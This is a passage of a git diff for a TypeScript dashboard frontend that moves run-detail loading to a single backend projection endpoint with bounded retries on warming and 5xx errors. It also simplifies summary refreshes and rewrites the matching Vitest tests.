               onToggleNode={toggleNode}
             />
-            <FormulaRunTabs diff={runDiff} selectedNode={selectedNode} />
+            <FormulaRunTabs
+              diff={runDiff}
+              selectedNode={selectedNode}
+              activeTab={activeTab}
+              onActiveTabChange={handleActiveTabChange}
+            />
           </div>
           <RelatedEntities
             view={links.view}
@@ -241,22 +281,32 @@ async function refreshRunResources(
   await Promise.all([refreshDetail(), refreshDiff()]);
 }
 
-function identityIsAmbient(identity: ReturnType<typeof runEventIdentity>): boolean {
-  return identity.runIds.size === 0 && identity.rootBeadIds.size === 0;
+/**
+ * The bead/session nudge callback (P4/P5). When the per-run detail stream is live
+ * it carries detail on its own, so the nudge refreshes ONLY the run diff (a
+ * separate git-exec read the stream does not push) — avoiding a double detail
+ * refetch. When the stream is UNAVAILABLE (a runtime with no EventSource), detail
+ * would freeze after first paint, so the nudge must refresh detail AND diff.
+ *
+ * P5: the diff refresh is gated on the Diff tab being visible (`diffTabActive`) —
+ * a hidden Diff tab fires ZERO /diff POSTs — and `refreshDiff` is the TTL-absorbed
+ * cheapRefresh (refresh=false), not the bypassing manual lane. Exported so the
+ * branch is unit-tested directly without the coupled EventSource harness.
+ */
+export function runDetailNudgeRefresh(
+  streamActive: boolean,
+  diffTabActive: boolean,
+  refreshDetail: () => Promise<void>,
+  refreshDiff: () => Promise<void>,
+): Promise<void> {
+  const diff = diffTabActive ? refreshDiff : noopRefresh;
+  return streamActive ? diff() : refreshRunResources(refreshDetail, diff);
 }
 
-function isTerminalProgress(progress: FormulaRunProgress): boolean {
-  if (progress.visibleNodeCount <= 0) return false;
-  const nonTerminal = NON_TERMINAL_STATUSES.reduce(
-    (count, status) => count + (progress.statusCounts[status] ?? 0),
-    0,
-  );
-  if (nonTerminal > 0) return false;
-  const terminal = TERMINAL_STATUSES.reduce(
-    (count, status) => count + (progress.statusCounts[status] ?? 0),
-    0,
-  );
-  return terminal >= progress.visibleNodeCount;
+async function noopRefresh(): Promise<void> {}
+
+function identityIsAmbient(identity: ReturnType<typeof runEventIdentity>): boolean {
+  return identity.runIds.size === 0 && identity.rootBeadIds.size === 0;
 }
 
 function RunMetadata({ detail }: { detail: FormulaRunDetailData }) {
diff --git a/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.test.tsx b/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.test.tsx
index 9c2d06fa99..91a3d09880 100644
--- a/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.test.tsx
@@ -402,11 +402,13 @@ describe('useRunSummarySubscription / RunSummaryProvider (gascity-dashboard-2j8e
     await waitFor(() => expect(screen.getByTestId('page').textContent).toBe('error:-1'));
   });
 
-  it('reconciles merged history against the fresh active set on a cheap refresh (no double-display)', async () => {
-    // MAJOR 1: the cheap refresh borrows historicalLanes from the last wide
-    // snapshot. If a run that WAS historical is now active/blocked again, it must
-    // appear ONLY in the live set, not in both. The wide upgrade seeds history
-    // with gc-1 (historical); the cheap refresh then reports gc-1 as active again.
+  it('publishes the active source snapshot verbatim on a cheap refresh (server owns the active/historical split)', async () => {
+    // The cheap SSE refresh now hits the same complete BFF read as the wide one,
+    // so the active source returns the authoritative active+historical split and
+    // the subscription publishes it directly — NO borrowing history from the last
+    // wide snapshot, no client-side reconciliation. The discriminating assertion:
+    // an active read with empty history publishes empty history (a borrow would
+    // have re-surfaced gc-2 from the seeded wide snapshot).
     mockFull.mockResolvedValue(buildLaneSource({ active: [], historical: ['gc-1', 'gc-2'] }));
 
     render(
@@ -420,16 +422,15 @@ describe('useRunSummarySubscription / RunSummaryProvider (gascity-dashboard-2j8e
       expect(screen.getByTestId('page').textContent).toBe('live=[] hist=[gc-1,gc-2] totalHist=2'),
     );
 
-    // A bead event lands and the cheap active read now reports gc-1 active again.
+    // A bead event lands; the cheap active read returns its OWN complete snapshot
+    // (gc-1 active, no historical). Published verbatim — gc-2 is NOT borrowed back.
     mockActive.mockResolvedValue(buildLaneSource({ active: ['gc-1'], historical: [] }));
     await act(async () => {
       lastHookCall.onMatch?.();
     });
 
-    // gc-1 appears ONLY in the live set; the borrowed history drops it and the
-    // count is recomputed. gc-2 (still only historical) stays in history.
     await waitFor(() =>
-      expect(screen.getByTestId('page').textContent).toBe('live=[gc-1] hist=[gc-2] totalHist=1'),
+      expect(screen.getByTestId('page').textContent).toBe('live=[gc-1] hist=[] totalHist=0'),
     );
   });
 
diff --git a/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.tsx b/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.tsx
index 03289d7177..06d639cdd2 100644
--- a/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/runs/runSummarySubscription.tsx
@@ -114,33 +114,19 @@ export function useRunSummarySubscription(): RunSummarySubscription {
       }),
     );
     if (result.status !== 'error') {
-      // A cheap (active-only) success does NOT prove the WIDE failure recovered:
-      // the wide retry loop must keep driving off staleDueToFailureRef until a
-      // wide refresh actually lands (refreshWithLastGoodRetention clears it). So
-      // we deliberately do NOT clear the flag here.
-      const lastGood = lastGoodRef.current;
-      const borrowedHistorical = lastGood?.data.historicalLanes ?? [];
-      // Reconcile the borrowed history against the CURRENT active/blocked set: a
-      // run that was historical in last-good but is active or blocked again in
-      // this fresh snapshot would otherwise appear in BOTH sets (double-display).
-      // Drop any historical lane whose run is now live; recompute the count to
-      // match. (A run that completes between wide refreshes still lags into
-      // History on the next wide scan — accepted; this only kills the overlap.)
-      const liveIds = new Set<string>([
-        ...result.data.lanes.map((lane) => lane.id),
-        ...result.data.blockedLanes.map((lane) => lane.id),
-      ]);
-      const historicalLanes = borrowedHistorical.filter((lane) => !liveIds.has(lane.id));
-      const dropped = borrowedHistorical.length - historicalLanes.length;
-      const totalHistorical = Math.max(0, (lastGood?.data.totalHistorical ?? 0) - dropped);
-      return {
-        ...result,
-        data: {
-          ...result.data,
-          historicalLanes,
-          totalHistorical,
-        },
-      };
+      // The active source now returns the COMPLETE server-enriched snapshot
+      // (full historical lanes included), so an SSE refresh publishes it as-is.
+      // The BFF folds the whole event log atomically (ColdLoad → BuildRunSummary
+      // produces active + historical + blocked buckets together, never
+      // staggered), so there is no intermediate active-but-empty-history state
+      // the old client-side history-merge had to paper over.
+      // There is no longer a cheap/wide split whose partial history must be
+      // reconciled against last-good. We still do NOT clear staleDueToFailureRef
+      // here: a fast SSE refresh succeeding does not retroactively prove a prior
+      // wide-refresh failure recovered — refreshWithLastGoodRetention owns
+      // clearing the flag — so the degraded-retry loop keeps driving until an
+      // explicit refresh lands.
+      return result;
     }
     const lastGood = lastGoodRef.current;
     if (lastGood === null) return result;
diff --git a/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.test.ts b/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.test.ts
index 35d2cdec65..1ded1a09ee 100644
--- a/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.test.ts
+++ b/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.test.ts
@@ -1,310 +1,124 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import {
-  resetSupervisorApiForTests,
-  setSupervisorApiForTests,
-  SupervisorApiError,
-  type SupervisorApi,
-} from './client';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { ApiClientError } from '../api/client';
 import { loadSupervisorFormulaRunDetail } from './runDetail';
 
-vi.mock('../api/cityBase', () => ({
-  getActiveCity: () => 'test-city',
-  activeCityOrThrow: () => 'test-city',
-}));
-
-const baseApi: SupervisorApi = {
-  baseUrl: '/gc-supervisor',
-  health: vi.fn(),
-  cityHealth: vi.fn(),
-  cityStatus: vi.fn(),
-  listCities: vi.fn(),
-  listAgents: vi.fn(),
-  listRigs: vi.fn(),
-  listBeads: vi.fn(),
-  listEvents: vi.fn(),
-  getBead: vi.fn(),
-  createBead: vi.fn(),
-  updateBead: vi.fn(),
-  closeBead: vi.fn(),
-  nudgeAgent: vi.fn(),
-  agentPrime: vi.fn(),
-  sling: vi.fn(),
-  formulaFeed: vi.fn(),
-  listMail: vi.fn(),
-  markMailRead: vi.fn(),
-  markMailUnread: vi.fn(),
-  archiveMail: vi.fn(),
-  replyMail: vi.fn(),
-  sendMail: vi.fn(),
-  mailThread: vi.fn(),
-  cityEventStreamUrl: vi.fn(),
-  sessionStreamUrl: vi.fn(),
-  listSessions: vi.fn(),
-  sessionPending: vi.fn(),
-  respondSession: vi.fn(),
-  sessionTranscript: vi.fn(),
-  workflowRun: vi.fn(),
-  formulaDetail: vi.fn(),
-  mutationHeaders: () => ({ 'X-GC-Request': 'dashboard' }),
+// The detail pipeline (snapshot synthesis, grouping, phase/stage, edges, lanes,
+// formula identity, completeness) moved to Go (internal/runproj.BuildRunDetail)
+// and is golden-gated byte-for-byte. The TS loader is now one GET to the BFF
+// run-projection endpoint with a bounded retry while the projection is still
+// cold-replaying (HTTP 503). This file covers that thin read: the warm path, the
+// warming retry, and the error surface the hook maps.
+
+const detailBody = {
+  runId: 'mol-adopt-1',
+  rootBeadId: 'b-1',
+  rootStoreRef: 'rig:demo',
+  resolvedRootStore: 'rig:demo',
+  scopeKind: 'rig',
+  scopeRef: 'demo',
+  title: 'Adopt PR',
+  formula: { kind: 'unavailable', reason: 'missing_formula_metadata' },
+  formulaDetail: { kind: 'unavailable', reason: 'missing_formula_metadata' },
+  executionPath: { kind: 'unavailable', reason: 'missing_cwd_and_rig_root' },
+  snapshotVersion: 1,
+  snapshotEventSeq: { kind: 'known', seq: 100 },
+  completeness: { kind: 'complete' },
+  progress: { statusCounts: {} },
+  phase: 'intake',
+  stages: [],
+  nodes: [],
+  edges: [],
+  lanes: [],
 };
 
-describe('loadSupervisorFormulaRunDetail', () => {
-  const workflowRun = vi.fn();
-  const formulaDetail = vi.fn();
-  const listSessions = vi.fn();
-
-  beforeEach(() => {
-    workflowRun.mockResolvedValue(workflowSnapshot());
-    formulaDetail.mockResolvedValue(formulaDetailResponse());
-    listSessions.mockResolvedValue({ items: [], total: 0 });
-    setSupervisorApiForTests({
-      ...baseApi,
-      workflowRun,
-      formulaDetail,
-      listSessions,
-    });
+function jsonResponse(body: unknown, status: number): Response {
+  return new Response(JSON.stringify(body), {
+    status,
+    headers: { 'content-type': 'application/json' },
   });
+}
 
+describe('loadSupervisorFormulaRunDetail', () => {
   afterEach(() => {
-    resetSupervisorApiForTests();
-    vi.clearAllMocks();
+    vi.unstubAllGlobals();
+    vi.useRealTimers();
   });
 
-  it('fetches formula detail when the root exposes formula metadata and a run target', async () => {
-    const detail = await loadSupervisorFormulaRunDetail('wf-1', 'city', 'test-city');
+  it('reads the run detail from the city-scoped BFF projection endpoint', async () => {
+    const fetchMock = vi.fn(async () => jsonResponse(detailBody, 200));
+    vi.stubGlobal('fetch', fetchMock);
 
-    expect(detail.formula).toEqual({
-      kind: 'known',
-      name: 'mol-test',
-      source: 'metadata',
+    await expect(loadSupervisorFormulaRunDetail('mol-adopt-1')).resolves.toMatchObject({
+      runId: 'mol-adopt-1',
     });
-    expect(detail.formulaDetail).toEqual({
-      kind: 'available',
-      name: 'mol-test',
-      target: 'test-city/codex',
-    });
-    expect(detail.completeness).toEqual({ kind: 'complete' });
-    expect(formulaDetail).toHaveBeenCalledWith('test-city', 'mol-test', {
-      target: 'test-city/codex',
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-  });
-
-  it('resolves formula detail when the supervisor omits the version field (3eo8, mol-focus-review)', async () => {
-    formulaDetail.mockResolvedValue(versionlessFormulaDetailResponse());
-
-    const detail = await loadSupervisorFormulaRunDetail('wf-1', 'city', 'test-city');
-
-    expect(detail.formulaDetail).toEqual({
-      kind: 'available',
-      name: 'mol-test',
-      target: 'test-city/codex',
-    });
-    expect(detail.completeness).toEqual({ kind: 'complete' });
-  });
-
-  it('reports missing formula metadata without calling the formula endpoint', async () => {
-    workflowRun.mockResolvedValue(
-      workflowSnapshot({
-        status: 'closed',
-        metadata: {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.run_target': 'test-city/codex',
-        },
-      }),
+    expect(fetchMock).toHaveBeenCalledWith(
+      '/api/city/test-city/runs/mol-adopt-1/detail',
+      expect.objectContaining({ method: 'GET' }),
     );
-
-    const detail = await loadSupervisorFormulaRunDetail('wf-1');
-
-    expect(detail.formula).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_formula_metadata',
-    });
-    expect(detail.formulaDetail).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_formula_metadata',
-    });
-    expect(detail.completeness).toEqual({
-      kind: 'partial',
-      reasons: ['formula_detail_missing_formula_metadata'],
-    });
-    expect(formulaDetail).not.toHaveBeenCalled();
   });
 
-  it('does not title-fallback into formula detail for completed supervisor runs', async () => {
-    workflowRun.mockResolvedValue(
-      workflowSnapshot({
-        status: 'completed',
-        metadata: {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.run_target': 'test-city/codex',
-        },
-      }),
-    );
+  it('retries while the projection is warming (503) and resolves once it is ready', async () => {
+    vi.useFakeTimers();
+    const fetchMock = vi
+      .fn()
+      .mockResolvedValueOnce(jsonResponse({ error: 'run view is warming' }, 503))
+      .mockResolvedValueOnce(jsonResponse(detailBody, 200));
+    vi.stubGlobal('fetch', fetchMock);
 
-    const detail = await loadSupervisorFormulaRunDetail('wf-1');
+    const pending = loadSupervisorFormulaRunDetail('mol-adopt-1');
+    await vi.advanceTimersByTimeAsync(600);
 
-    expect(detail.formula).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_formula_metadata',
-    });
-    expect(detail.formulaDetail).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_formula_metadata',
-    });
-    expect(detail.completeness).toEqual({
-      kind: 'partial',
-      reasons: ['formula_detail_missing_formula_metadata'],
-    });
-    expect(formulaDetail).not.toHaveBeenCalled();
+    await expect(pending).resolves.toMatchObject({ runId: 'mol-adopt-1' });
+    expect(fetchMock).toHaveBeenCalledTimes(2);
   });
 
-  it('reports missing run target without calling the formula endpoint', async () => {
-    workflowRun.mockResolvedValue(
-      workflowSnapshot({
-        metadata: {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.formula': 'mol-test',
-        },
-      }),
-    );
+  it('gives up after the warming budget is spent and surfaces the 503', async () => {
+    vi.useFakeTimers();
+    const fetchMock = vi.fn(async () => jsonResponse({ error: 'run view is warming' }, 503));
+    vi.stubGlobal('fetch', fetchMock);
 
-    const detail = await loadSupervisorFormulaRunDetail('wf-1');
+    const pending = loadSupervisorFormulaRunDetail('mol-adopt-1');
+    const assertion = expect(pending).rejects.toMatchObject({ status: 503 });
+    await vi.advanceTimersByTimeAsync(600 + 1_200 + 2_400);
+    await assertion;
 
-    expect(detail.formula).toEqual({
-      kind: 'known',
-      name: 'mol-test',
-      source: 'metadata',
-    });
-    expect(detail.formulaDetail).toEqual({
-      kind: 'unavailable',
-      reason: 'missing_run_target',
-      name: 'mol-test',
-    });
-    expect(detail.completeness).toEqual({
-      kind: 'partial',
-      reasons: ['formula_detail_missing_run_target'],
-    });
-    expect(formulaDetail).not.toHaveBeenCalled();
+    // The initial attempt plus three bounded retries.
+    expect(fetchMock).toHaveBeenCalledTimes(4);
   });
 
-  it('preserves supervisor formula endpoint failures as partial formula detail', async () => {
-    formulaDetail.mockRejectedValue(new SupervisorApiError(404, 'not found', undefined));
-
-    const detail = await loadSupervisorFormulaRunDetail('wf-1');
+  it('propagates a 422 unsupported run with its reason for the hook to map', async () => {
+    vi.stubGlobal(
+      'fetch',
+      vi.fn(async () =>
+        jsonResponse({ error: 'run is not a graph.v2 run', reason: 'not_run_view' }, 422),
+      ),
+    );
 
-    expect(detail.formulaDetail).toEqual({
-      kind: 'unavailable',
-      reason: 'fetch_failed',
-      name: 'mol-test',
-      target: 'test-city/codex',
-      failure: 'not_found',
-    });
-    expect(detail.completeness).toEqual({
-      kind: 'partial',
-      reasons: ['formula_detail_fetch_failed'],
-    });
+    const err = await loadSupervisorFormulaRunDetail('v1-run').catch((e: unknown) => e);
+    expect(err).toBeInstanceOf(ApiClientError);
+    expect(err).toMatchObject({ status: 422, reason: 'not_run_view' });
   });
 
-  // Fix A: the workflow snapshot is the run-detail core read; a transient
-  // timeout/5xx is retried once before it blanks the view, mirroring the runs
-  // list core read. A 4xx is the caller's fault and is never retried.
-  it('retries the workflow core read once on a transient timeout', async () => {
-    let attempts = 0;
-    workflowRun.mockImplementation(async () => {
-      attempts += 1;
-      if (attempts === 1) {
-        throw new SupervisorApiError(
-          undefined,
-          'gc supervisor request timed out after 60000ms',
-          undefined,
-        );
-      }
-      return workflowSnapshot();
-    });
+  it('retries a transient 5xx (not just 503) and resolves', async () => {
+    vi.useFakeTimers();
+    const fetchMock = vi
+      .fn()
+      .mockResolvedValueOnce(jsonResponse({ error: 'bad gateway' }, 502))
+      .mockResolvedValueOnce(jsonResponse(detailBody, 200));
+    vi.stubGlobal('fetch', fetchMock);
 
-    const detail = await loadSupervisorFormulaRunDetail('wf-1', 'rig', 'app');
+    const pending = loadSupervisorFormulaRunDetail('mol-adopt-1');
+    await vi.advanceTimersByTimeAsync(600);
 
-    expect(attempts).toBe(2);
-    expect(detail.completeness).toEqual({ kind: 'complete' });
+    await expect(pending).resolves.toMatchObject({ runId: 'mol-adopt-1' });
+    expect(fetchMock).toHaveBeenCalledTimes(2);
   });
 
-  it('does not retry the workflow core read on a non-transient (4xx) failure', async () => {
-    let attempts = 0;
-    workflowRun.mockImplementation(async () => {
-      attempts += 1;
-      throw new SupervisorApiError(400, 'bad request', undefined);
-    });
+  it('does not retry a 404', async () => {
+    const fetchMock = vi.fn(async () => jsonResponse({ error: 'unknown run' }, 404));
+    vi.stubGlobal('fetch', fetchMock);
 
-    await expect(loadSupervisorFormulaRunDetail('wf-1', 'rig', 'app')).rejects.toThrow(
-      'bad request',
-    );
-    expect(attempts).toBe(1);
+    await expect(loadSupervisorFormulaRunDetail('ghost')).rejects.toMatchObject({ status: 404 });
+    expect(fetchMock).toHaveBeenCalledTimes(1);
   });
 });
-
-function workflowSnapshot(
-  overrides: {
-    status?: string;
-    metadata?: Record<string, string>;
-  } = {},
-) {
-  return {
-    workflow_id: 'wf-1',
-    root_bead_id: 'wf-1',
-    root_store_ref: 'city:test-city',
-    resolved_root_store: 'city:test-city',
-    scope_kind: 'city',
-    scope_ref: 'test-city',
-    snapshot_version: 1,
-    snapshot_event_seq: 1,
-    partial: false,
-    stores_scanned: ['city:test-city'],
-    beads: [
-      {
-        id: 'wf-1',
-        title: 'Direct supervisor run',
-        status: overrides.status ?? 'in_progress',
-        kind: 'workflow',
-        metadata: overrides.metadata ?? {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.formula': 'mol-test',
-          'gc.run_target': 'test-city/codex',
-        },
-      },
-    ],
-    deps: [],
-    logical_nodes: [],
-    logical_edges: [],
-    scope_groups: [],
-  };
-}
-
-function formulaDetailResponse() {
-  return {
-    name: 'mol-test',
-    description: 'formula detail',
-    version: 'v1',
-    preview: {
-      nodes: [{ id: 'wf-1', title: 'Direct supervisor run', kind: 'workflow' }],
-      edges: [],
-    },
-    steps: [],
-    deps: [],
-    var_defs: [],
-  };
-}
-
-// Inferred/title-based formulas (e.g. mol-focus-review) come back from the
-// supervisor with no `version` key — `{ name, description, var_defs, steps,
-// deps, preview }`. The dashboard must resolve these to `available`, not
-// degrade the Formula Detail panel (3eo8).
-function versionlessFormulaDetailResponse() {
-  const { version: _version, ...rest } = formulaDetailResponse();
-  return rest;
-}
diff --git a/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.ts b/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.ts
index a6dd74f5f3..4b5af0d599 100644
--- a/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.ts
+++ b/internal/api/dashboardspa/web/frontend/src/supervisor/runDetail.ts
@@ -1,213 +1,48 @@
-import type {
-  FormulaRunDetail,
-  FormulaRunPartialReason,
-  FormulaDetail,
-  RunSnapshot,
-  DashboardSession,
-  RunFormulaDetailFetchFailure,
-  RunFormulaDetailState,
-  RunScopeKind,
-} from 'gas-city-dashboard-shared';
-import {
-  enrichFormulaRun,
-  formulaRunCompleteness,
-  resolveRunFormulaIdentity,
-} from 'gas-city-dashboard-shared';
-import { activeCityOrThrow } from '../api/cityBase';
-import type {
-  FormulaDetailResponse,
-  WorkflowSnapshotResponse,
-} from 'gas-city-dashboard-shared/gc-supervisor';
-import { SupervisorApiError, supervisorApi, supervisorApiForRequestBudget } from './client';
-import type { SupervisorApi } from './client';
-import { fetchCoreRead } from './coreRead';
-import { normalizeSessions } from './sessionReads';
-
-// The workflow snapshot is the run-detail core read — the one fetch whose
-// failure blanks the whole detail view (sessions and formula detail degrade to
-// 'partial'). It gets the same treatment as the runs-list core read
-// (runSummary.ts): a burst-tolerant budget so a CPU spike doesn't time it out,
-// and one retry on a transient timeout/5xx. A city-scoped (no-rig) fetch hits
-// the supervisor's full-store scan (~12-14s, upstream gascity-dashboard#88), so
-// the wider budget is what lets that path complete instead of timing out; the
-// rig-scoped fetch (the common case once scope is passed) is sub-second.
-const RUN_DETAIL_CORE_TIMEOUT_MS = 60_000;
-
-export async function loadSupervisorFormulaRunDetail(
-  runId: string,
-  scopeKind?: RunScopeKind,
-  scopeRef?: string,
-): Promise<FormulaRunDetail> {
-  const cityName = activeCityOrThrow('load supervisor formula run detail');
-  const query = runScopeQuery(scopeKind, scopeRef);
-  const coreApi = supervisorApiForRequestBudget(RUN_DETAIL_CORE_TIMEOUT_MS);
-  const api = supervisorApi();
-  const [raw, sessionsLookup] = await Promise.all([
-    fetchCoreRead(() => coreApi.workflowRun(cityName, runId, query)),
-    loadRunSessions(cityName),
-  ]);
-  const snapshot = toRunSnapshot(raw);
-  const formulaDetailLookup = await loadRunFormulaDetail(api, cityName, snapshot, query);
-  const detail = enrichFormulaRun(snapshot, {
-    sessions: sessionsLookup.sessions,
-    formulaDetailState: formulaDetailLookup.state,
-    ...(formulaDetailLookup.kind === 'available'
-      ? { formulaDetail: formulaDetailLookup.detail }
-      : {}),
-  });
-  const reasons: FormulaRunPartialReason[] = [
-    ...(detail.completeness.kind === 'partial' ? detail.completeness.reasons : []),
-    ...(sessionsLookup.kind === 'unavailable' ? ['session_list_failed' as const] : []),
-    ...(formulaDetailLookup.kind === 'unavailable'
-      ? [formulaDetailPartialReason(formulaDetailLookup.state.reason)]
-      : []),
-  ];
-  return {
-    ...detail,
-    completeness: formulaRunCompleteness(reasons),
-  };
-}
-
-type RunSessionsLookup =
-  | { kind: 'available'; sessions: readonly DashboardSession[] }
-  | { kind: 'unavailable'; sessions: readonly DashboardSession[] };
-
-type RunFormulaDetailLookup =
-  | { kind: 'available'; detail: FormulaDetail; state: RunFormulaDetailState }
-  | {
-      kind: 'unavailable';
-      state: Extract<RunFormulaDetailState, { kind: 'unavailable' }>;
-    };
-
-async function loadRunSessions(cityName: string): Promise<RunSessionsLookup> {
-  try {
-    const list = await supervisorApi().listSessions(cityName);
-    return {
-      kind: 'available',
-      sessions: normalizeSessions(list),
-    };
-  } catch {
-    return { kind: 'unavailable', sessions: [] };
-  }
-}
-
-async function loadRunFormulaDetail(
-  api: SupervisorApi,
-  cityName: string,
-  snapshot: RunSnapshot,
-  scopeQuery: { scope_kind?: string; scope_ref?: string } | undefined,
-): Promise<RunFormulaDetailLookup> {
-  const root = snapshot.beads?.find((bead) => bead.id === snapshot.root_bead_id);
-  const resolved = resolveRunFormulaIdentity('route', { root });
-  const name = resolved.name ?? undefined;
-  const target = resolved.target ?? undefined;
-  if (name === undefined) {
-    return {
-      kind: 'unavailable',
-      state: { kind: 'unavailable', reason: 'missing_formula_metadata' },
-    };
-  }
-  if (target === undefined) {
-    return {
-      kind: 'unavailable',
-      state: { kind: 'unavailable', reason: 'missing_run_target', name },
-    };
-  }
-  try {
-    const detail = toFormulaDetail(
-      await api.formulaDetail(cityName, name, {
-        target,
-        ...(scopeQuery ?? {}),
-      }),
-    );
-    return {
-      kind: 'available',
-      detail,
-      state: { kind: 'available', name, target },
-    };
-  } catch (err) {
-    return {
-      kind: 'unavailable',
-      state: {
-        kind: 'unavailable',
-        reason: 'fetch_failed',
-        name,
-        target,
-        failure: formulaDetailFetchFailure(err),
-      },
-    };
-  }
-}
-
-function toRunSnapshot(raw: WorkflowSnapshotResponse): RunSnapshot {
-  const snapshot: RunSnapshot = {
-    run_id: raw.workflow_id,
-    root_bead_id: raw.root_bead_id,
-    root_store_ref: raw.root_store_ref,
-    resolved_root_store: raw.resolved_root_store,
-    scope_kind: raw.scope_kind,
-    scope_ref: raw.scope_ref,
-    snapshot_version: raw.snapshot_version,
-    partial: raw.partial,
-    stores_scanned: raw.stores_scanned,
-    beads: raw.beads,
-    deps: raw.deps,
-    logical_nodes: raw.logical_nodes as RunSnapshot['logical_nodes'],
-    logical_edges: raw.logical_edges,
-    scope_groups: raw.scope_groups as RunSnapshot['scope_groups'],
-  };
-  if (raw.snapshot_event_seq !== undefined) {
-    snapshot.snapshot_event_seq = raw.snapshot_event_seq;
-  }
-  return snapshot;
-}
-
-function toFormulaDetail(raw: FormulaDetailResponse): FormulaDetail {
-  const detail: FormulaDetail = { name: raw.name };
-  const preview: NonNullable<FormulaDetail['preview']> = {};
-  if (Array.isArray(raw.preview.nodes)) {
-    preview.nodes = raw.preview.nodes;
-  }
-  if (Array.isArray(raw.preview.edges)) {
-    preview.edges = raw.preview.edges;
-  }
-  if (preview.nodes !== undefined || preview.edges !== undefined) {
-    detail.preview = preview;
-  }
-  if (Array.isArray(raw.steps)) {
-    detail.steps = raw.steps;
-  }
-  if (Array.isArray(raw.deps)) {
-    detail.deps = raw.deps;
-  }
-  return detail;
-}
-
-function formulaDetailPartialReason(
-  reason: Extract<RunFormulaDetailState, { kind: 'unavailable' }>['reason'],
-): FormulaRunPartialReason {
-  switch (reason) {
-    case 'missing_formula_metadata':
-      return 'formula_detail_missing_formula_metadata';
-    case 'missing_run_target':
-      return 'formula_detail_missing_run_target';
-    case 'fetch_failed':
-      return 'formula_detail_fetch_failed';
-  }
-}
-
-function formulaDetailFetchFailure(err: unknown): RunFormulaDetailFetchFailure {
-  if (err instanceof SupervisorApiError && err.status === 404) return 'not_found';
-  return 'upstream_error';
-}
-
-function runScopeQuery(
-  scopeKind?: RunScopeKind,
-  scopeRef?: string,
-): { scope_kind?: string; scope_ref?: string } | undefined {
-  if (scopeKind === undefined && scopeRef === undefined) return undefined;
-  const query: { scope_kind?: string; scope_ref?: string } = {};
-  if (scopeKind !== undefined) query.scope_kind = scopeKind;
-  if (scopeRef !== undefined) query.scope_ref = scopeRef;
-  return query;
+import type { FormulaRunDetail } from 'gas-city-dashboard-shared';
+import { api, ApiClientError } from '../api/client';
+
+// The run-detail view reads from the BFF run-projection endpoint
+// (GET /api/city/{city}/runs/{runId}/detail): one warm read of the same fold
+// the summary uses, so detail stages == summary stages by construction. The
+// whole client-side detail pipeline (the workflowRun snapshot + formulaDetail
+// fetch + enrichFormulaRun) moved to Go (internal/runproj.BuildRunDetail) and
+// is golden-gated byte-for-byte. Scope is no longer threaded into the read —
+// the projection derives a run's scope from its own root bead — though the
+// route still parses scope for the separate run-diff endpoint.
+
+// Retry transient failures a few times before surfacing one: the BFF's 503
+// warming signal while a city's projection cold-replays (bounded server-side to
+// ~5s), a 5xx upstream-proxy blip, or a network-level fetch reject. This
+// restores the single-transient-retry resilience the pre-cutover supervisor
+// read had (fetchCoreRead). A 4xx (404 unknown run, 422 unsupported) is
+// definitive and surfaces immediately; SSE refresh and the manual Refresh
+// button recover anything past the budget.
+const WARMING_RETRY_DELAYS_MS = [600, 1_200, 2_400];
+
+export async function loadSupervisorFormulaRunDetail(runId: string): Promise<FormulaRunDetail> {
+  for (let attempt = 0; ; attempt += 1) {
+    try {
+      return await api.runDetail(runId);
+    } catch (err) {
+      const delayMs = WARMING_RETRY_DELAYS_MS[attempt];
+      if (delayMs !== undefined && isTransientDetailError(err)) {
+        await delay(delayMs);
+        continue;
+      }
+      throw err;
+    }
+  }
+}
+
+// A 4xx (404/422) is a definitive answer about the run — never retry it. The
+// BFF's 503 warming signal and any 5xx are transient, as is a network-level
+// fetch reject (a TypeError, e.g. "Failed to fetch"); a malformed-body decode
+// error (ApiResponseDecodeError) is NOT transient and surfaces immediately.
+function isTransientDetailError(err: unknown): boolean {
+  if (err instanceof ApiClientError) return err.status >= 500;
+  return err instanceof TypeError;
+}
+
+function delay(ms: number): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, ms));
 }
diff --git a/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.test.ts b/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.test.ts
index 317dd05ff0..2f10ead850 100644
--- a/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.test.ts
+++ b/internal/api/dashboardspa/web/frontend/src/supervisor/runSummary.test.ts
@@ -1,958 +1,87 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { setActiveCity } from '../api/cityBase';
-import type {
-  Bead,
-  FormulaFeedBody,
-  ListBodyBead,
-  ListBodySessionResponse,
-  MonitorFeedItemResponse,
-} from 'gas-city-dashboard-shared/gc-supervisor';
-import { resetSupervisorApiForTests, setSupervisorApiForTests, type SupervisorApi } from './client';
-import { SupervisorApiError } from './errors';
+import { afterEach, describe, expect, it, vi } from 'vitest';
 import {
-  CORE_RUN_SUMMARY_TIMEOUT_MS,
   loadSupervisorRunSummaryActiveSource,
